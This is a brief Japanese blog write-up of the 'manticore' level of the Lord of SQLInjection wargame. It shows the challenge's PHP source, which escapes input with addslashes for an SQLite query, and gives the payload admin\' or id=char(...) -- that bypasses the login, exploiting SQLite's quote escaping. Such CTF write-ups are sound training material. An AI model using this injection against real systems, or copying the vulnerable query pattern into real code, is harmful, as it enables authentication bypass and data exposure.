はまやんはまやんはまやん

hamayanhamayan's blog

manticore [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);

特徴は以下。

idにadmin\' or id=char(97,100,109,105,110) --を入れる。
SQLiteではシングルクオートのエスケープは\ではなく、''のように表現するので、実はシングルクオートはエスケープされてない。
しかし、adminではなく、admin\で検索されてしまうので、条件を追加して、adminを持ってくるとAC。